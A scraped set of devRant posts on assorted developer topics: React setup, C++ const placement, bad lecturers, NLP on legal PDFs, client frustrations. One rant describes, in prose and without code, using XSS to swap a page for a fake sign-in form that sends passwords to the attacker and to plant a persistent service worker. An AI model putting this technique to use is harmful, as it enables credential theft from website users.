Disclaimer: I should know what I'm doing but I don't. 😢
I'm a very experienced full stack dev (15+ years), but I don't know the more modern JS frameworks. I'm trying to learn React and I have a little project I'd like to do.
I have database (in both SQLite form and JSON form). I'd like to read from it, parse it and run various displays in a shared hosting environment (that doesn't have node). So webpack. And either an API to get the data or a React compatible SQL component.
But dagnamit, I cannot find a tutorial or example with this kind of set up and I can't figure it out. What packages do I need and what kind of config?
I genuinely thought this would be a traditional and simple architecture but I'm obviously mistaken. And I'm about to turn in my developer card because I'm clearly a stupid twonk.
Has anyone done this? Do you know of any tutorials or examples of this kind of thing? Is there somewhere else I should ask this question? Thanks anyway...5 -
“httpOnly cookies prevent XSS attacks”… wow.
As if not being able to get your cookies is going to stop me from doing bad things.
When I'm in via XSS, it's over. I'm changing the page content to your sign-in form with “please sign in again” notice, but it sends email/password straight to me. What percentage of users is going to enter their data? What do you think? With password managers prefilling data, and the annoyance being one “enter” hit away, I think a lot of users will fall for that. No one, including you, will be able to tell the difference without devTools.
You can rotate the session token, but good luck rotating the user's password.
Oh, did I tell you I could register a service worker using XSS that will be running in background FOREVER?
But don't listen to me. Don't think. Just use httpOnly and hope for the best. After all, your favorite dev youtuber said they could protect you from XSS.4 -
Anything of the form "write a <complex data structure>". To be expected to do that from memory is ridiculous. It's far far far more important to understand the data structure and be able to explain how it works.
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TLDR: I wanted to change email to new one, but I could not remember which one I have
currently. I found out an API in DevRant JS files for email verification and used
it to find it out.
So, I am moving from Gmail to Protonmail Pro, absolutely love their service.
I wanted to do same on Devrant but I could not figure out my current mail for
"I lost my password" form. My Password Manager have only login saved, and profile does
not show email address.
I thought that this user information is stored on server so it have to be some way to retrieve it. I dug
in source code and I've found:
`<div class="signup-title">Verify Your Email</div>`
Which has event assigned to function which uses jQuery.ajax (love it btw :D) to call:
`url: "/api/users/me/resend-confirm",`
This seems like worth a shot. Few copy-pastes and one ajax call later:
*Ding*
From: support@devrant.io
To: dawid@dawidgoslawski.pl
"Welcome to Devrant"
Got it :) So I have already changed in march when DevRant on previous layout.
This is what I love in this profession - problem solving. AI will not replace human
in any way, we will just stop coding array iterations and data manipulation - we will focus
on real problem solving and human touch (like design, convincing management for changes).1 -
TLDR;
Side project update.
Made simple nlp library in python and published it’s first version to open source.
Now I can feed it with parsed pdf text.
See rant https://devrant.com/rants/2192388/...
Why ?
Cause during reading book about nltk I couldn’t find simple extendible way to provide support for polish language and I wanted to abstract stemming, word normalization, tokenizer etc. so I can provide ex. different conditions for separate text files and don’t write much code what is an asset when you work solo.
It’s about 12GB of pdf public accessible law data I am trying to handle ( at first ) which is about 35000 files from last 90 years.
So far I automated downloading web pages and pdf documents from them. Extracting data from web pages and saving it to database. Extracting text from pdf files. I have about 5-6 projects to do all of it above maybe at the end I will put it to some workflow manager like Luigi or just run it by cronjob.
First thing for website version 1.0 part is find correlation between all documents inside law text using nlp library by building custom conditions. Then just generate directory structure and html files with links between documents.
Website version 2.0 is already in my mind but it will be creepy to make it and will take at least 1-2 months and I want to publish fast.
I have some pdfs with only images instead of text and tesseract worked quite good with them so maybe I will try to process them when everything go live.
Learned a lot about pdf as now I know that font in pdf is not always providing unicode characters ( stupid form of obfuscation) so when you extract text you need to build glyph vector to text map for every font.
Pdf is full vector representation - just like svg - what is logic if you think a bit and know that some printers are running using postscript.
Let’s hope next update will be about flutter mobile app which started all of shit above. It’s almost ready ( except getting data from api I am trying to do and logo for release version ). It’s last piece of puzzle.3 -
The database dude: yeah it gets saved as a string.
*me sets up preg_match for a string*
Database 'guru': we tried entering the data in the form and we are getting an error. Fix it!
Turns out it's being saved by id.
Data wizards my ass -
Hello fellow Devs,
I have developed a small Android library for handling HTTP POST and GET requests. Anyone who is looking for an easy way to perform HTTP calls, can use this library. It supports post requests with JSON and Multipart Form data, file uploading and Get request with URL parameters.
Hope it will help you guys.
https://github.com/shubhadeepb14/...8 -
Note: I have deleted my previous version of this question as I found it lacking crucial information and therefore being prone to misunderstandings.
Question : In C/C++ you can position the keyword 'const' either left or right of the left-most type specifier. Which variant do you prefer?
I ask that because I'd like to hear your opinion. Although I have been working with C over three decades now, I only learned this a couple of years ago. After some experimentation I decided for myself, that I like the placement to the right more. Although the positioning to the left is taught in literally every book and course, the original placement suits me better.
One reason, of many, is the listing of many member variables in structs or classes. To have them nicely aligned, I always had to put 'const' either on the previous line or put in extra indention to everything non-const. That was quite irritating sometimes.
Another, and my main reason is, that when reading from right to left, the rhs variant just makes more sense than the lhs variant. Reading from left to right almost never makes much sense without straining your eyes. But that is, of course, highly subjective.
This is even more so if you have pointers. The 'const' keyword modifies the type identifier(s) to the left. So if the 'const' is (anywhere) left of the '*', the data is const. If the 'const' is right of the '*', the pointer address itself is const. The same applies to references.
Examples, read right-to-left:
int* const i; // i is a const pointer to int data
int const* i; // i is a pointer to const int data
int const* const obj; // i is a const pointer to const int data
The "classical" or "taught" way, that is found almost everywhere would read, still right-to-left:
int* const i; // i is a const pointer to int data
const int* i; // i is a pointer to int data const
const int* const obj; // i is a const pointer to int data const
Not only that the second "lhs" form reads worse, it also looks worse. In my opinion, the first "rhs" variant makes it simpler to quickly determine that we are dealing with three ints, while on the second "lhs" variant, one has to first get past the 'const' keywords.
I know that this is not only a matter of taste, but of course of agreement, too. You can not just go and switch the 'const' placement in long standing projects. That would surely piss of a lot of people. Or even cost you your job.
But I like to know what you people think and why.
Thanks a lot in advance!5 -
Found out the database was missing a record from the parent table. The app hummed along perfectly, pulling all the data from child records.
TL;DR: This app uses the worst possible database form if everything you need is duplicated into all the child records every time.4 -
This is more of an essay than a rant. TLDR at the end. I simply can't choose from all the shitty lecturers I've had, so I'm going to have to go through them one by one. But of background. I'm currently in 7th year of college, I did a multimedia degree in 2 years, a intro course to Software Dev and I'm currently in my final year of my Software Dev degree. So let's start.
Intro Software Course
- we had a database module, which was thought by, I shit you not, the head of the psychology course in the college, she attempted to teach us Databases using access. And not even using SQL, using access GUI components and it's query builder. Need I say more?
1st year software dev
- We had a networking module, the guy that taught the labs, he literally didn't say more than 12 words the entire 12 week semester, his answer to any question you asked him was a grunt and "research it"
- We had a psychology module, I have no fucking idea why, but instead of learning something useful we were told to read this and get in touch with your feelings...
- database module. Yes we actually did SQL here, 12 weeks of select statements and normal form, talked about by a guy in a monotone voice, who sounded like he was contemplating bringing in an assault riffle some day. Also instead of using MySQL he decided to use Ingres. Why I will never know.
2nd Year Software Dev
- We had a module called Algorithms and Data Structures. The lecturer gave us problems she couldn't solve. Simple problems. She was also crazy. Absolutely nuts.
- Object Orientated Programming. I had this lecturer for 3 semesters up until 3rd year. This guy did COBOLT in college, graduated in the 70s or something and went straight into teaching, he taught us Java for nearly 2 years. He literally copied and pasted texts from PDFs and read through them in class. He told myself and another guy at one stage he really didn't care, and was just counting down the days to his retirement.
- Databases again, different lecturer from 1st year, taught us for 2 semesters (24 weeks) and somehow managed to teach us nothing.
3rd Year Software Dev
- software engineering.. This is where the biggest cunt I've ever met was introduced. He arrives into class 15 minutes late every time without fail, talks shit about stuff that has no relevancy to the topic at all, tries to turn everything into a rugby metaphor and every time you ask a question he somehow dodges it and swiftly changes topic. This cunts past profession? A Project Manager. Fucking typical. This dickhead has also thought me 2 other modules.
4th yr Software Dev
- El cunto mentioned above for 2 more modules. Need I say more.
- real time systems, this module took the piss, the module was written by the lecturer which is what earns his space here. Assignments given to us, which required more time to do than we had in labs so we had to work at home, the problem we that is we were using an obscure RTOS called OS9 which would only work on the college computers. When brought to the lecturers attention he just said "figure it out"
Internet of Things - There was 2 lecturers, each lecturer seemingly working off a different plan, one week you'd have one lecturer, the next would be the other one going on about something completely different and unrelated to anything else we'd done.
Some lecturers didn't even make this list as I couldn't be bothered trying to think back about how shit other ones were. These were the ones that always stood out in my mind.
My main take away point from this is that you go to college for the paper which says you have a degree. Learning things that are going to benefit you in a career is up to yourself.
TLDR; 90% of my college lectures were shit. You need to learn useful stuff yourself.1 -
Finally finished an algo to check an image for grouping of pixels that will form a rectangular area. I got the grouping to work on one image, but found it was utterly failing on another. I went through every step of the algo and still could not find the solution. The 128x128 image was working, but the 128x16 image was not. I knew it had something to do with the dimensions. Started thinking it was overflowing a buffer somewhere. So I started putting asserts in the functions that abstracted the buffer access. None of the numbers exceeded the proper bounds. It was close to bedtime so I finally gave up. I was tired. Then I realized it wouldn't be until the next evening when I could look at this again. So I got up again and started looking at the code again. I had a loop to check the output of my algo that I did the memory access of the buffer. It too was not fully filling my temp image to show how the algo was working. WTF!
Then I finally realized the flaw:
buffer[x+y*height]
And my test loop to test the algo:
buffer[x+y*ymax]
I kept overlooking the error because I was sure it was right. Also my asserts for the functions to access the buffers? They only checked the inputs x and y. So it didn't help that the math was wrong for reading and writing the buffers. It also worked fine on 128x128 images because the width and height were the same.
It is funny that I struggled with this part. The algo was actually surprisingly easy to formulate. I just looked through every point and checked a buffer to see if that point was used. If not then I would attempt to grow in the x and y direction the shaped of that point based upon pixel color. This was saved in a structure while growing that point. Then when that rectangle could not be grown further the inner loop would continue checking used points again.
I still have work to do to use the data this algo produces. I need to now figure out how to parent the rectangular areas to each other. I will probably use my check buffer to keep track of these rects by an index. Then do adjacent checks to determine parenting. Eventually I will have to extend this algo to 3 dimensions, but that should not be difficult.2 -
So there is this website called 100daysofrunning.in one of the worst design seen ever. They've a submit page which is another app that opens in an iframe.
If you're part of challenge, everyday you've to submit a form. Distance, time, Strava link, date and it's a pain to do so every day.
On the 50th day they restricted the date to7 days, so you cannot post data older then 7 days.
Being a programmer it would have been insult had i entered data manually.
Thanks to casperjs, meteorjs i was able to automate fetch from strava and post on this dumb page.
One day due an error, the script failed and I've missed one day of data entry. That's 2km of running gone invain and I'm out of the challenge.
Programming has mad me lazy. Screw programming. I should've been a dumb idiot to manually add data spending fkin 30 mins, atleast life would be simple. -
Anyone tried converting speech waveforms to some type of image and then using those as training data for a stable diffusion model?
Hypothetically it should generate "ultrarealistic" waveforms for phonemes, for any given style of voice. The training labels are naturally the words or phonemes themselves, in text format (well, embedding vectors fwiw)
After that it's a matter of testing text-to-image, which should generate the relevant phonemes as images of waveforms (or your given visual representation, however you choose to pack it)
I would have tried this myself but I only have 3gb vram.
Even rudimentary voice generation that produces recognizable words from text input, would be interesting to see implemented and maybe a first for SD.
In other news:
Implementing SQL for an identity explorer. Basically the system generates sets of values for given known identities, and stores the formulas as strings, along with the values.
For any given value test set we can then cross reference to look up equivalent identities. And then we can test if these same identities hold for other test sets of actual variable values. If not, the identity string cam be removed, or gophered elsewhere in the database for further exploration and experimentation.
I'm hoping by doing this, I can somewhat automate the process of finding identities, instead of relying on logs and using the OS built-in text search for test value (which I can then look up in the files that show up, and cross reference the logged equations that produced those values), which I use to find new identities.
I was even considering processing the logs of equations and identities as some form of training data perhaps for a ML system that generates plausible new identities but that's a little outside my reach I think.
Finally, now that I know the new modular function converts semiprimes into numbers with larger factor trees, I'm thinking of writing a visual browser that maps the connections from factor tree to factor tree, making them expandable and collapsible, andallowong adjusting the formula and regenerating trees on the fly.7 -
Ugh. So for one of my classes (Projects In Computer Science) we have to break up into groups; Around 4-6 people per group and build some software for different local companies in the city that I live in.
Well.... the company that my group chose is so damn frustrating. Essentially we are making a glorified Applicant Form system for their website (there's more to it than just that). So you would think that the company knew what sort of fields would be needed for these forms.... Well no, we are over a month into this project and still have barely began coding shit because they are so fucking slow to respond to our emails, don't pick up our calls, or put off doing absolutely anything related to our project! Our professor asked that we would have a written copy of the project requirements made and signed off by the client within the first 2 weeks of classes starting. Took them over a month to get around to that, and still even after signing off on the requirements said that they were missing key forms that we needed to account for... Its your damn fault for not telling us that. We completely wasted our time planning out the database and structuring the front-end/back-end to work for the forms they had given us, and now there's yet another one with inconsistent fields, meaning we need to rethink out most of our system to account for this data. We only have 3 months total, 1 which is already gone and practically wasted, and even still we don't have any sort of confirmation on what form fields we have to account for.
Fucking hell just spend a little bit of time for both our sake, and your own to get us the finalized forms fields and requirements for this project. Honestly at the rate things are going we probably wont be able to finish, which sucks ass since this project is perfect resume material.
Seriously this company desperately needs us to make them this program since their current system is absolute shit. They are literally getting a system that would cost upwards of $20,000 for free, yet they don't seem to care much that we probably wont be able to finish due to their faults. If we didn't have a time cap on this project I wouldn't really care, but the fact that we only have 3 months, plus school work in other classes, exams and a personal life, its making this project a lot more stressful than it needs to be.
Its not like we have a project manager either, so all the emailing and communication is being done by myself. Honest to god, all they have/had to do was sit down for 1 hour of time to decide what they all needed and we would probably have been able to finish this project.5 -
It's crazy how the USPTO system works.
Legal offices have webhooks to the data coming into the trademark office. So thousands of legal companies know every step of the process you are on and know the email you are using.
These companies immediately create spam messages like
"congratulations on getting approved for step 4, please fill out this final form to be approved for the review process"
Almost got me a few times because I thought it was a message from USPTO.
Obviously you can always hire a lawyer to handle this stuff but if you can traverse a red-black binary search tree. You can fill out some forms.1 -
If I wanted good feedback for my products (especially if they were geared towards developers) I would scrap devRant and do some data analysis on how our products are perceived in raw form. Would be very raw and informative insight indeed because you are at the heart of raging innovation (raging innovation: when a developer is so pissed at a flaw in a piece of software they highlight or fabricate an ingenious feature or solution) and will help not only iron the kinks out but make a better product all together. Also, of course the good aspects would be lauded.
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So i have been thinking..
SQL is a lang that runs on a specific software on the server, and helps creating data stores(databases and tables) that can be queried & manipulated.
is there a way to run sql like queries on the client side with no interaction from backend at all?
Say i have 5 inter related data models. in a backend world, they will form nice little tables of a db with all their joins and composite keys. from the server, i shall be querying them like "SELECT name from x where y=z & ..."
but what if i could store them like tables in browser memory and run the same query filters via a query language... is this possible?
i know this poses a certain security risk, but we already use cookies, local storage and a lot of json based shitty client side storages. surely it might be possible to have a lesser optimised sql tables on the frontend with extremely good querying capabilities?
or am i talking something far fetched here?8 -
Debugging a Velocity template issue the other day where I was presenting a firm to the user to fill in some data. Whenever the user had entered in one or more lines, a 'true' kept showing up cryptically before the form. Drove me fucking nuts because there was nowhere in the template code that was printing before the form input.
Turns out it was the output of a $list.add(...) being rendered to the screen.
Spent 40 mins on that shit.
😐🔫 -
Right now, everything. I started at a Consulting firm because I expected many new problems to tackle, solutions to develop and generally to always have a fire burning underneath my ass but instead I always develop the same standard bullshit.
I miss the days in my old job when there was just a problem and the task to solve it. When I stared down giant amounts of data, just KNOWING that somewhere in that mess is some structure I could exploit and that short moment of inspiration when I finally pinpointed it. The rush of endorphins when the solution became clear and everything fell into place to form a beautiful pattern amidst the chaos test data, git commits and numpy arrays.
Now its just "Yeah, would you just write another selenium testsuite that throws out fail or pass and wastes all the information because the only reason I'm a testmanager is because I'm too incompetent to do anything else and not my passion for the field".
The constant, mind numbing repetition of always the same patterns where the occasional dynamic element that becomes stale is the highlight of my work week... I would have never thought that making good money with easy work would ever get me as close to depression as it did.5 -
Pardon the rant; some of it can probably attributed to me, but please indulge me of you could.
I'm tasked with creating a report that pulls data from some sql tables in c#and presents it using javascript. My manager was nice enough to lend me his old sql query, so I run with that using sql connections. Now I find out AFTER I get my sql query string working and retrieving data properly that my manager wanted it done using linq and entity framework, so now I have to start over, a process made only more "fun" by the confusing and unintuitive column names of our sql tables.
Moral of the story: don't take the easy way out.
After I spend some time fixing that up, I have to print out the data using javascript and html, which my manager was kind enough to lend me. Cue me shutting off my brain and thinking that I should have the program open and display this stuff itself. Let me tell you that converting a console application to a Windows form application is not a fun experience, especially when entity framework makes classes named "application" and "form" from your database tables. After finally getting the WebBrowser form to work, I'm hit with a javascript error from the library my manager referenced (he is a programmer himself). I tell him about the error and he just tells me to write the html code to a .html on disk like he did, but never explicitly said he did until just now.
Fixed moral of the story: don't take the easy way out, unless you should.
I should clarify I was given the whole raw sql query and html with some embedded javascript and a reference to chart.js. -
On the contact page of my project, I want to send data from a HTML form.
What would you use to send it?
Just the regular <form action="/path/to/handler"> and cause a page refresh or use javascript (jQuery) for it and not cause a page refresh?
In both cases, a message will be shown on success or failure.7 -
My main project in work is making program in C# (right now .NET Standard) that can read scans of invoices that are sent from contractors. I'm working on it for almost two years now (with breaks and only halftime because university). Alone. And for last two months I've been redesigning, refactoring and making whole app "better", using experience and knowledge gained in the last two years.
Obviously my boss wasn't happy with that but I got him to accept it, promising that it'll make it work faster, expansion will be simpler and I'll make core as a separate library that can be used anywhere, not only in the JobRouter ecosystem.
And so I reworked most of the code, made it cleaner, I hope, and a tad quicker. And I was happy with it while testing on a package of invoices. Today I made first integration with customer's JobRouter.
The results aren't any better - in some cases they are much worse. Especially while searching for invoice entries, which can be in any shape or form and on any of document's pages.
I guess, being a Junior, I wasn't really up to the task. I'm sick of working on a "guessing" program that has to work with every invoice template users can imagine. I'm sick of not getting any recognition for what I did good. And I'm sick of constantly being pushed to make it work better when I just don't have any more ideas or my skills are just lacking.
To be honest, I don't know what to do. I'll probably have to work on making it search the data better. But it's not trivial to just look at the code and see errors. Iterating on the code while working with different invoices worked for a bit in older versions, but I reached the point where changes made to make one invoice be read better, made another one worse.
Its like on those GIFs where you squish one bug to make another two appear.
So yeah, I'm currently really doubting my career, skills and intelligence.8 -
So i was trying to learn php from a udemy course. The guy there mixes a hell lot of php with html, like all the pages are .php with html content and mini <?php ... ?> Scripts in between everywhere: titles, swl queries running and displaying outputs as html with echo php variables, etc..
Now am not much versed with client server data model, but isn't there supposed to be clear distinction between the server side and the client side? He puts a form there using echo "html string" , rrcieves the form input in the string's action , runs an sql query and generates another set of html strings. All in one file.
Is it how major php websites work? On the other hand My web dev friend om who works a lot with js usually runs 2 seperate aws instances for frontend and backend and makes them communicate via apis9 -
Form the first time in my life i used s3cmd to store data on digital ocean server.
Amazing.
Every day the database backup is stored in an external server. -
Well ... If the server response does not give me the new form data, how am I supposed to display that form without any data???
FML4 -
So I'm testing a co-workers code and doing regression scenarios when suddenly it "loses" data in two fields after I save the data and go out/come back into the form. That's weird says I, lets have a look....
And I find the following conditional::
if (field empty) then failValidation("hey stoopid user")
else blank field value
Say what???
Happy Friyay everyone.... -
We need to create simple form for colection few particular people data for some bounty programme.
We have ready-made website that does similar stuff, but it was outsourced and we have compiled javascript (sidenote - im only person in this place who understands f**ng javascript but hates it deeply)
Anyway, they come to me, and say that creating this google doc will take them few minutes and it seems that editing few divs in the site and creating second one with another subdomain will do the trick.
I tell them that it will take a lot of time to reverse engeneer that compiled react.js website to change few divs. But they insist.
So we start out, I pop up the terminal, copy over site, add nginx config for it, apply SSL to it, we are already good 5-10 minutes in, first roadblock - CORS. At this point I tell them that with google form they would be already done.
What I hear?
But we will need to make again privacy policy
Me:
Can you just link privacy policy from this site?
They:
Oh... it makes it easy now.
My internal voice:
next time try to use brain.... -
The biggest problem with error reporting is that devrant closes android exception form before I can actually send that data...1
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Page lists data for user. Edit button replaces the line with a form for the data line with save and cancel buttons. Both buttons replace the form back with the simple line (oc save button only does so if post was a success).
Client writes they can't go back after clicking on edit - forgets to say, where in the World they want to go back to, when they get their initial page back with updated or unmodified data depending on their button choice. -
You just have to love users, especially when you work in an environment where politics dictate database constraints and application rules.
"Can you pull tax info for x, y, and z."
Nope, I could if the stuff was entered into the database properly but until standardized I can't do much. Here are the numbers I have, use them or don't but I'm not fabricating data for you for a tax form. -
Just a question about a generic social app. Using mongodb , 3 entities ,like comment and post . how do I display posts in feeds with comment count and like count . since its mongodb I can't do joins . the other way is to maintain a data structure on the server side . or yet another way would be making 2 extra queries to db for retrieving like and comments count . Any other way this is possible or is it possible to form a query in mongo db to retrieve all 3 at the same time???1
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Ok. I GIVE UP! ...for at least a couple hours...
I'm not a big believer in... well anything suitable to the literal definition of believe. But there's only so much 'wtf? How is this even possible?' and any answer u can come up with is nearly statistically impossible...
I am a neuro-atypical (and just extremely atypical even if i somehkw was neurotypical) being, based on logic, finely calculated statistical probability and the most raw data and as unbiased as realistically possible, algorithms and interpretation (usually recursive pattern recognition with several highly detailed historical sources.
...but at some point statistical improbability and a collation of separate, yet relatively closely occuring events/circumstances makes logic, itself a primary suspect of corruption.
What was the breaking point that caused me to (temporarily) give up and tell logic to f off for a bit cuz maybe the illogical and mythical is the real logic, leaving me in a losing battle with 'the' fates?
Trying to get all my sourcing/purchase orders in/paid for/on the literal boats b4 end of the workday/week in china...
1st, had to drop a supplier cuz they have limited reps. When the one ive had 7+ years left, i got the aloof blonde girl societal trope of a rep... who for the 2nd time (despite the several very blunt complaints above her, incl me) she sent out a promotional update to the entire client list (ie, inherently competitors) as CC not BCC... over 200 business email accounts with tailored info of their sourcing.
2- totally diff company/ industry a former rep i was glad be rid of apparently just sfarted back for "awhile" as i needrf to restock/scale...apparently she forgot everything we discussed at length... lke if you want a chance on my business im not gonna be wasting time looking through your gui "mini store to then inquire about everything individually insead of a simple spreadsheet(which i print and put in a 3-ring binder rotating current catalogues in the same format i require everywhere)
3.dog was an ahole, my packed schedule got delayed and morphed.. a bunch of little bs thatd normally have no extra thought impact, hyperfocused forgetting one of my alarms til i realised my idiopathic fever was back and i didnt take/apply meds (pain/muscle relaxers mainly so despite this odd free time and needing to shower. I gotta sit on my rear, leg elevated/non-productive far 40min b4 i can shower (as functional legs and lack of syncope is almost a req to shower)
4. A new-ish rep of a company/factory i like/respect enough to not mention in relation... he makes invoice 1.. slight error thst was easily resolved...#2 was flawless... he goes to officially generate the contract(alibaba... verrrry simple with lots of extra explanation buttons). Price and all items match, its near workweek end so i was waiting for it so i could quickly pay/have it on the boat b4 it left and few fdav days are behind...
I put in card info, get to the 2 cbeck boxes (imo should be only 1 but whatever) asking if billing address is same ss delivery(its always default yes)... then i see a few lines in chinese (i can read enough for business negotiations... typical words/sentences innately look different than things like individual letters/address and postal indicators.) After a few loops of double checking, mentally trying to dismiss my i Intial judgement cuz it'd be too ridiculous... even resorted to google .... nope... initial wtf was spot on... recipient name/address was indeed the company(multi factory producer)i was purchasing a wholesale, via sea freight, bulk of products from.
Im pretty sure the system would've flagged it as an invalid contract within an hr... but seriously... ive been handling alibaba (and other) international sourcing since before high school(mainly small businesses i made sites/little tools for that found anything with a light up screen intimidating) and a purchase then shipment to the originating company/factory actually entered into a contract(the form is sooo simple)... im faced with ridiculously improbable obstacles actually existing and changing in such nonsensical statistically improbable ways so often that 1. I wouldn't trust a dr (or most humans) that didnt 1st assume i was crazy of some form...unfortunately im not, despite hkw much simpler and probable itd be 2. Id be super suspicious/converned if statistic norms were my norm for over a day.
But seriously wtf???
Someone give me some wisps of a frame of ref here... where's a typical 'fuck this, im out!' Breaking point?1 -
In regards to my last string of posts regarding react and Auth, I got it working the bearer token is being passed but now just getting XML errors every time I submit a form. All the data being passed is JSON. I've created a stackoverflow question https://stackoverflow.com/questions... as I'm getting nowhere and SO really isn't helping either. So if anyone wants to take a stab, go for it.11
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I got one problem I have some data in local storage. Now i have set iframe with another website. I need to pass local data into form inside iframe. but it gives me Cross Site permission issue. Any suggestions.?5
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I'm currently working on a project that scrapes the SEC's EDGAR website for type 4 filings.
I currently have the required data in raw text format that somehow looks like xml, i really can't tell what it is but i'm trying to parse this data into json.
I've not parsed something as complex as this before and will appreciate any form of pointers as to how to go about this.
i have attached a screenshot of one sample.
this link fetches the data of a single filing in text format.
https://sec.gov/Archives/edgar/...
5 -
I have to design a small web-based application (flask, MySQL) and it will also need an API (e.g. JSON).
Is it good/recommended practice to have the web browser directly use the JSON API? Or should I just let it post form data and reuse the underlying business logic?9 -
So I've been using Duet on my iPad Pro for a couple years now (lets me use it as an external monitor via Lightning cable) and without issue. Shit, I've been quite happy with it. Then the other day, whilst hooked up to my work laptop, there was a power fluctuation that caused my laptop to stop sending power to connected devices. Which is fine - I have it plugged into a surge protector so these fluctuations shouldn't matter. After a few seconds the laptop resumed normal operation and my connected devices were up and running again.
But the iPad Pro, for some reason, went into an infinite boot loop sequence. It reboots, gets to the white Apple logo, then reboots again.
In the end, after putting the iPad into recovery mode and running Apple's update in iTunes (as they recommend), it proceeds to wipe all my data. Without warning. I lost more than a couple of years of notes, illustrations and photos. All in one fucking swoop.
To be clear, you get 2 options in iTunes when performing a device update:
1. UPDATE - will not mess with your data, will just update the OS (in this case iPadOS)
2. RESTORE - will delete everything, basically a factory reset
I clicked UPDATE. After the first attempt, it still kept bootlooping. So I did it again, I made sure I clicked UPDATE because I had not yet backed up my data. It then proceeds to do a RESTORE even though I clicked UPDATE.
Why, Apple? WHY.
After a solemn weekend lamenting my lost data, I've come a conclusion: fuck you Apple for designing very shitty software. I mean, why can't I access my device data over a cabled connection in the event I can't boot into the OS? If you need some form of authentication to keep out thieves, surely the mutltiple times you ask me to log in with my Apple ID on iTunes upon connecting the damn thing is more than sufficient?! You keep spouting that you have a secure boot chain and shit, surely it can verify a legitimate user using authenticated hardware without having to boot into the device OS?
And on the subject of backing up my data, you really only have 2 manual options here. Either (a) open iTunes, select your device, select the installed app, then selectively download the files onto my system; or (b) do a full device backup. Neither of those procedures is time-efficient nor straightforward. And if you want to do option b wirelessly, it can only be on iCloud. Which is bullshit. And you can't even access the files in the device backup - you can only get to them by restoring to your device. Even MORE bullshit.
Conversely, on my Android phone I can automate backups of individual apps, directories or files to my cloud provider of choice, or even to an external microSD card. I can schedule when the backups happen. I can access my files ANYTIME.
I got the iPad Pro because I wanted the best drawing experience, and Apple Pencil at the time was really the best you could get. But I see now it's not worth compromise of having shitty software. I mean, It's already 2021 but these dated piles of excrement that are iOS and iPadOS still act like it's 2011; they need to be seriously reviewed and re-engineered, because eventually they're going to end up as nothing but all UI fluff to hide these extremely glaring problems.2 -
My task is to create a form for posting customer details to the server.
I've spent almost 2 days on the UI.
I mean, it doesn't look like I've been doing much if you consider the UI only, but I've been testing many scenarios of what works best, but unfortunately, the boss only cares about the code, and not how many concepts that have been tested.
So what the form basically does is if you click on the edit button, the inputs field will occur, and if you click on it again it will remove the lines around the input field for better presentation of the data.
How do you show to someone the work you've done, do you write notes or show them the code?3 -
Can we say that "a basic website is a type of app that serves documents", implying a website is more specific than an app, and the most common type of data served is in the form of a document (html, pdf, json, xml).
I'm trying to see how this argument does for/against flat-file cms'es in specific/ general cases per type of app/ website.1 -
[opinions welcome]
I'm just furious right now!!!
So I'm on this project where we have to make a whole *very old* website look like it's brand new.
Thing is, the whole point of the project is to make exactly the same pages as on the existing website smh. No UX or UI suggestions.
Just put the navbar in a component that looks like a tab bar, who cares anyway!?
Btw, I'm in charge of the UI.
My colleagues and I (mostly my colleagues) made a react components library and we use it for this project.
Fucking inputs get thrown into tables and all that, but hey, that's what the client asked for.
So here I am with my shiny new page, and I just hand it over to the front-end dev who just arrived.
She's supposed to feed in the data.
I don't give a fuck you use flow or redux or whatever fancy tooling.
Just call your back-end, get the data, format it and feed my damn table with it. That's it.
So today, after 5 weeks she's in, she calls a meeting where she's screening a presentation to the team complaining about how long it took her to understand what I did and change it completely.
Pieces of code on screen, saying it's crap and it shouldn't be like that.
I'm not responsible for inputs in fucking table, the client is!
Of course I have nested components with data passed through all the way: it's a series of fucking radio buttons within a table within a form!
During 5 weeks, yoy didn't even come to me once saying it's not what you expected or you're having trouble with my work!
And there we blaming my job like I'm the bad guy?!
Tonight, everyone's going home thinking I'm no good at what I do and completely lost, all because of her.
If you got this far, I'd like to hear from you on how I should act with her and how to tell her what she did is awfully wrong?5 -
Who do you think is the coolest super hero?
Putting aside technical topics and thinking about hobbies and cinematography, who do you think could be the most popular superhero? I had this dispute with classmates because I collect all the information about Spiderman. I described the biographies of the actors of the films, using various data on the network like https://writingbros.com/essay-examp... I collected information about the character characteristics and reviews on movies. I wanted to write my essay about Spiderman, but none of my classmates supported me. According to the general opinion, he cannot be popular and attract attention.
Maybe he doesn't have the traits of the Hulk or the Powers of the X-Men. But, a super hero is an ordinary person who goes to an ordinary job and leads a seemingly ordinary life.
I thought it was characteristics like these that should attract people.
Who do you think might be one of the most popular superheroes of our time. Of course, it is impossible to single out one leader. But maybe you can form the top 3.
9 -
!Rant
New to the whole front end world so pardon me for such a question.
I have a huge set of data about 5-10k records flowing in which needs to be displayed in a tabular form with sorting, filtering, selection addition and deletion.
Is it wise to sort and filter in the front end? Or make multiple calls to backend and perform the operations there?
If in front end what is the best way to perform these operations?
The application is going to be loaded on a screen and left there for users to view. So even local storage could be am option.
Using polymer for frontend so any special tool for this in polymer?3 -
I love and hate javascript. I set out to do a fully ajax/state driven form interface that operates with multiple interdependent data objects which all extend a base class.
React/Angular may have been a better call but I just didn't have time so I needed to rapid prototype in jquery /vanilla JS.
I'm in the midst of learning and refactoring all the ajax calls to promises and then to async/await, so it's a huge learning experience...
Meanwhile I've got to build objects to represent the data on the backend which is all legacy OScommerce/PHP
Hell of a ride. -
I'm thinking on working something with Godot Engine and React to form a platform that allow people to register, categorize and explain exercises
like Wikipedia but for fitness, but with data to use for free7 -
I've got this... thing. I built it when I first started with PHP. It's an OAuth2 system to pull form data from a service into a plugin, to make the rest of marketing's lives easier. It requires manually taking the initial received token and putting it into a database when doing the first auth. Occasionally it breaks and I have to try and remember the steps to get a replacement token to start the cycle over.
Someday I'll fix it, but for now... Let's fuck about with my browser for a few minutes to get the new token. -
If someone tries using "multipart/form-data" as only content type for their PUBLIC API ENDPOINTS again I am going to find them and choke them to death.
And if your documentation says you are using something else (application/x-www-form-urlencoded) I am doing it twice.
JSON apis should be standard.
EDIT: I had to fire up BurpSuite proxy, after almost an hour I accidentally switched the body type - voilà1 -
testing a form and having to fill in the info every single time I change the code - gross
Does anyone know of a way to refresh a form (ctrl+F5 in chrome) while keeping the data?6 -
It's a form of artistic expression for some people (like me) who aren't as great with paper and pen but still have ideas and patterns and concepts and abstractions to express.
Watching the data just flow through the pipelines and pathways you've laid down for it, creating spectacles from what is essentially electricity running through a rock. Being able to create an interface between a human mind and an inanimate dead block of dug out and processed ore, feels like tapping into the metaphysical.
(Yeah I'm pretentious with words) -
